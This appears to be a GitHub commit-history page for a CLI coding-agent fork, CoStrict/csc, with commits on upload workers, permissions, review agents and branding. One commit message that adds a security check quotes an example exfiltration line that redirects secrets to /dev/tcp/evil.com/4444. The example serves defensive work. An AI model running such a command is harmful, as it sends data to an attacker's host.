Commit Graph

741 Commits

Author SHA1 Message Date
linkai0924
6651109d9c
Merge pull request #55 from y574444354/fix/batch-work-issue
fix(rawDump): prevent batch worker concurrency cascade and add fetch …
2026-05-11 11:41:18 +08:00
林凯90331
1240a1a499 fix(rawDump): prevent batch worker concurrency cascade and add fetch timeout
- Add in-process isRunning flag to block reentrant runBatch (file lock
  fails when pid === process.pid)
- Replace setInterval + double immediate trigger with self-scheduling
  setTimeout that only fires after previous batch awaits
- Move clearQueue() to right after readQueue() so any unexpected
  concurrent runBatch sees an empty queue and exits immediately
- Cache repoInfo and workingTreeDiff in processTask, pass into all three
  upload functions to halve git invocations per task
- Add 30s AbortController timeout on postJson fetch so the worker no
  longer hangs indefinitely on unresponsive networks

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-11 11:34:44 +08:00
linkai0924
61b1b595bf
Merge pull request #51 from y574444354/fix/compile-code-reivew
fix: code-review compile issue
2026-05-09 17:33:16 +08:00
林凯90331
2fa9f1616f fix: code-review compile issue 2026-05-09 17:32:33 +08:00
yhangf
3ec07bd2ec Merge branches 'feature/spec-pro' and 'main' of https://github.com/y574444354/csc into feature/spec-pro 2026-05-09 16:10:01 +08:00
yhangf
396e4cdbe3 feat(agents): propagate allowedAgentTypes from agent tool resolution to query engine 2026-05-09 15:15:10 +08:00
yhangf
1efba6b17a feat(cli): resolve agent tools based on main thread agent definition in headless streaming 2026-05-09 14:18:10 +08:00
yhangf
ba2aad5c09 feat(permissions): auto-select AskUserQuestion answers in headless mode
- Add headless fallback in `hasPermissionsToUseToolInner` that respects
  `askUserQuestionTimeoutSeconds` from settings (default 600s) when
  `shouldAvoidPermissionPrompts` is true, instead of hanging indefinitely
- Set `shouldAvoidPermissionPrompts: true` on `toolPermissionContext` in
  `-p` (pipe/headless) mode so the new path is triggered
- Hoist `parsedInput` before the try block so the headless path can use
  Zod-transformed input (includes defaults like `multiSelect: false`)
2026-05-08 17:57:15 +08:00
yhangf
697ee49752 feat(query-engine): pass mainThreadAgentDefinition to support built-in agent system prompts 2026-05-08 14:43:11 +08:00
geroge
684b81457c
Merge pull request #46 from y574444354/feat/favorite-migrate
feat: migrate favorite command from opencode to csc
2026-05-08 09:36:24 +08:00
geroge
0e01c5a02f
Merge pull request #44 from Askhz/fix/disable-fork-subagent-default
fix: 默认关闭 FORK_SUBAGENT feature flag
2026-05-08 09:35:46 +08:00
geroge
85aaeb9a7a
Merge pull request #43 from y574444354/feat/migrate-review-agents
feat: migrate review agents to unified costrict-review repo
2026-05-08 09:35:24 +08:00
林凯90331
dacbf1f7ab feat: migrate favorite command from opencode to csc
- Add /favorite REPL slash command with list/view/download/load/unload/uninstall

- Implement core favorite logic in src/costrict/favorite/ using createCoStrictFetch

- Extend GlobalConfig with agents and commands fields for config-layer storage

- Adapt skill load/unload to csc's directory-scanning mechanism (~/.claude/skills/)

- Adapt MCP load/unload to csc's mcpServers config via saveGlobalConfig()

- Decouple from opencode-specific deps: jsonc-parser, Config.invalidate, Filesystem.*

Signed-off-by: 林凯90331 <90331@sangfor.com>

Co-authored-by: CoStrict <zgsm@sangfor.com.cn>
2026-05-08 08:20:57 +08:00
linkai0924
7363519887
Merge pull request #45 from y574444354/feat/report-raw-dump
feat(rawDump): add session data raw-dump reporting module
2026-05-07 22:16:02 +08:00
林凯90331
f3ece2f469 refactor(rawDump): prevent 429 with queue + batch worker
Replace per-turn detached workers with a file-backed queue consumed by
a single long-running batch worker (30s interval, 0-10s jitter).

- queue.ts, batchWorker.ts: file queue with pid-based lock for worker
  singleton; tasks deduped by sessionID:messageID before processing
- worker.ts: retry with backoff (5s, 10s) for 429 and network errors;
  update commit state per upload so partial failures resume cleanly;
  export auth, loadSessionMessages, getSessionDirectory and upload*
  helpers for batchWorker reuse
- git.ts: cap commit log at 50 entries within last 7 days; pause 500ms
  every 10 commits to spread load
- worker.ts: resolve session jsonl via ~/.claude/projects/{normalized}
  with fallbacks, scanning for the file containing the target session
- logger.ts: file + stderr logger gated by CSC_RAW_DUMP_DEBUG, default
  silent
- sessionDataUploader.ts: implement createSessionTurnUploader to pick
  the last assistant message; query.ts fires uploadSessionTurn after
  query_api_streaming_end (non-blocking)

Signed-off-by: 林凯90331 <90331@sangfor.com>
Co-authored-by: CoStrict <zgsm@sangfor.com.cn>
2026-05-07 21:45:20 +08:00
kingboung
00e37eeccd fix: use new URL() for cwd path in build.ts review generation step
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-07 18:41:41 +08:00
林凯90331
28d4f1f4e5 feat(rawDump): add session data raw-dump reporting module
Introduce a framework-decoupled raw-dump module that uploads conversation, summary, and commits data to the CoStrict server in a non-blocking detached worker process.

- Add src/services/rawDump/ with index, types, state, spawn, git, worker, and README

- Implement reportTurn and reportSession entry points with in-memory dedup and env-based disable switch (CSC_DISABLE_RAW_DUMP / COSTRICT_DISABLE_RAW_DUMP)

- Replace sessionDataUploader stub with uploadSessionTurn that delegates to reportTurn

Signed-off-by: 林凯90331 <90331@sangfor.com>

Co-authored-by: CoStrict <zgsm@sangfor.com.cn>
2026-05-07 17:27:56 +08:00
Askhz
f8a4ae7083 fix: 默认关闭 FORK_SUBAGENT feature flag
开启时会强制所有 Agent 工具调用走异步路径,导致 run_in_background
参数失效,子 agent 始终在后台运行。如需启用请设置 FEATURE_FORK_SUBAGENT=1。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-07 17:20:59 +08:00
kingboung
083e2a7cfc chore: add gray-matter dependency for frontmatter parsing
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-07 17:04:08 +08:00
kingboung
49204031fb chore: remove superpowers docs directory
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-07 16:52:12 +08:00
kingboung
a1d3a3db2d chore: untrack generated review builtin files from git index
Files are still present on disk and generated by build:review-builtin.
.gitignore rules prevent them from being re-committed.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-07 11:49:07 +08:00
kingboung
3beeaa545e ci: add review agent generation step to build and CI
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-07 11:46:05 +08:00
kingboung
4054ae9f4b feat: migrate review agents and skills to unified costrict-review repo
- Add generate-review-builtin.ts script (downloads from zgsm-ai/costrict-review)
- Add review module (index.ts, extension.ts) with locale-aware skill init
- Add CommandLocale module with zh-CN/en templates for /review and /security-review
- Integrate REVIEW_AGENTS into builtInAgents.ts
- Route /review command to CoStrictReviewer agent
- Simplify /security-review to use Skill tool with locale templates
- Remove old generate-skills.ts and inline security-review skill

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-07 09:40:24 +08:00
kingboung
abf67ea914 feat: add generate-review-builtin script for unified review resource generation
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-07 09:36:47 +08:00
kingboung
e4025f5d79 chore: add review module stubs and gitignore rules
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-07 09:34:18 +08:00
kingboung
65c347a151 docs: add design spec for migrating review agents to unified costrict-review repo
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-07 09:00:43 +08:00
y574444354
ea410c861c docs: update contributors 2026-05-04 03:28:42 +00:00
y574444354
3f84d157e5 docs: 更新 CHANGELOG.md,添加 4.0.13 版本变更记录 2026-04-29 18:43:34 +08:00
y574444354
6ea7bdf61d chore: release 4.0.13
- package.json: 版本号从 4.0.13-beta.0 更新为 4.0.13
- scripts/defines.ts: MACRO.VERSION 同步更新为 4.0.13
2026-04-29 18:33:57 +08:00
geroge
f2dbc64f70
Merge pull request #42 from Askhz/fix/login-costrict-model
fix: 修复 sideQuery/模型选择在 CoStrict 和 OpenAI provider 下的问题
2026-04-29 18:27:28 +08:00
Askhz
307b025dea chore: 统一所有 provider 的 User-Agent 为 csc/${VERSION}
- getUserAgent() 简化为 csc/${VERSION},去除 USER_TYPE/entrypoint 等附加信息
- OpenAI/Grok client 通过 defaultHeaders 覆盖 SDK 自带的 User-Agent
- CoStrict 主查询和 sideQuery 的 OpenAI client 同步添加 defaultHeaders
- CoStrict fetch 的 X-Costrict-Version 同步更新为 csc/${VERSION} 格式

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 18:23:57 +08:00
Askhz
2f7fc7959d fix: 修复 sideQuery/模型选择在 CoStrict 和 OpenAI provider 下的问题
- sideQuery:新增 openai/costrict provider 分支,分别走各自的 base_url
  而非 Anthropic API;提取 sideQueryOpenAICompat 共用转换逻辑;
  CoStrict 分支统一使用主循环模型(getMainLoopModel)
- ConsoleOAuthFlow:CoStrict 登录选模型后同步写入 settings.json
- /model 命令:CoStrict provider 下模型切换持久化到 settings.json;
  支持 costrict-login 触发登录并重载模型列表;未登录时提示先 /login
- modelOptions:CoStrict provider 展示服务器动态模型列表;
  仅对 Anthropic 兼容 provider 注入自定义模型到选项列表
- configs:补充 CoStrict 的 claude-opus-4-7 模型配置
- cli:默认禁用非必要 Anthropic 流量(CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1)

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 18:02:53 +08:00
y574444354
5864d1a9a7 fix: 构建时替换 feature flags,修复 CoStrict provider 递归解析,默认启用 BUDDY
- build.ts: 构建产物中手动替换 feature('FLAG_NAME') 为 true/false,
  使构建后的产物正确响应 feature flag,不再依赖运行时环境变量。
- src/utils/model/model.ts: 修复 CoStrict provider 下 getDefaultSonnetModel
  和 getDefaultHaikuModel 的递归调用问题,返回具体模型名。
- src/buddy/useBuddyNotification.tsx: 移除 BUDDY 功能的日期限制,默认启用。
2026-04-29 14:42:31 +08:00
geroge
9191df6949
Merge pull request #41 from Askhz/fix/rg-install
fix: ripgrep 安装支持内网私服兜底 & 修复终端进程名为 csc
2026-04-29 14:33:38 +08:00
Askhz
3e5bb0e799 fix: ripgrep 安装支持内网私服兜底 & 修复终端标题为 csc
- postinstall.cjs: GitHub/ghproxy 均失败时降级到内网私服下载
  (shenma.sangfor.com.cn/costrict-cli/pkg/ripgrep)
- main.tsx: 将 process.title 从 "claude" 改为 "csc"

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-29 11:50:39 +08:00
y574444354
766f9741ce chore: rebrand to CoStrict/csc for 4.0.13-beta.0 2026-04-29 10:34:29 +08:00
y574444354
8f9e7d5067 merge: sync upstream/main while preserving local brand/config
- 保留本地 package.json(@costrict/csc, v4.0.12)、CLAUDE.md、README、contributors.svg
- 采用上游代码更新:19 commits including bug fixes, security improvements
- 删除 upstream 废弃文件:automation.js, automation.test.js, health-check.ts
2026-04-29 09:06:20 +08:00
claude-code-best
a2cfaf9111 fix: 修复 RemoteTriggerTool 和 autonomy 测试的全量运行失败
RemoteTriggerTool 测试补充了缺失的 mock(log/debug/oauth/growthbook/policyLimits/bun:bundle),
用内存数组替代文件系统写入审计记录,避免路径冲突。autonomy handler 函数增加可选 rootDir 参数,
测试显式传递 rootDir 避免依赖全局 getProjectRoot() 导致并发测试状态污染。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 22:29:36 +08:00
claude-code-best
9e365f1ffa chore: 1.10.10 2026-04-28 21:27:47 +08:00
claude-code-best
51b8ad46bf refactor: 移除消息流中的 diff 渲染,仅保留权限审批页的 diff
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 21:23:38 +08:00
claude-code-best
2bad8df5d7 test: 添加 subagent 僵死场景相关测试用例
覆盖 subagent 生命周期关键模块的零覆盖函数:
- messageQueueManager: 扩展队列操作测试(enqueue/dequeue/优先级排序)
- queueProcessor: 测试 subagent 通知过滤和批量处理
- LocalAgentTask: 测试状态转换、通知防重、进度追踪
- task/framework: 测试 updateTaskState、registerTask、evictTerminalTask

共 66 个测试用例,135 个断言,全部通过。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 15:36:54 +08:00
claude-code-best
327658979a fix: 添加 /dev/tcp /dev/udp 网络伪设备重定向安全检测
Bash 支持 /dev/tcp/host/port 和 /dev/udp/host/port 伪设备路径,
攻击者可通过重定向实现网络数据泄露而无需任何网络工具:
  echo "secrets" > /dev/tcp/evil.com/4444

新增 validateNetworkDeviceRedirect 安全验证器,在 bashSecurity.ts
的同步和异步验证器列表中均注册。同时补全了反斜杠转义和复合命令
安全场景的测试覆盖(42 个测试用例)。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 14:58:34 +08:00
claude-code-best
7e61e71c54 fix: 尝试禁用 UDS_INBOX 修复 nodejs 进入失败问题 2026-04-28 14:32:23 +08:00
yhangf
22c770d792 docs: update contributors 2026-04-28 06:28:49 +00:00
yhangf
5fdc738036 Merge branch 'main' of https://github.com/y574444354/csc 2026-04-28 14:28:31 +08:00
yhangf
6fe647c10d chore(cli): rebrand CLI from Claude to CoStrict with restructured help output 2026-04-28 14:28:21 +08:00
geroge
faa531f88b
Merge pull request #40 from Askhz/fix/login-tips
fix: 修复登录后"Not logged in"提示
2026-04-28 14:26:40 +08:00
Askhz
03bb5aaf01 fix: 将 costrict 加入 is3P 判断,消除登录后"Not logged in"提示
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-28 09:57:59 +08:00
claude-code-best
b8b48bf7ed fix: 修复 truncate 函数接收到 undefined/null 时崩溃的问题
BackgroundTask 组件渲染时传入的 task 属性(description、title、command 等)
可能为 undefined,导致 str.indexOf('\n') 抛出 TypeError。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 09:15:58 +08:00
claude-code-best
de9dbcdcbb chore: 1.10.8 2026-04-28 08:50:23 +08:00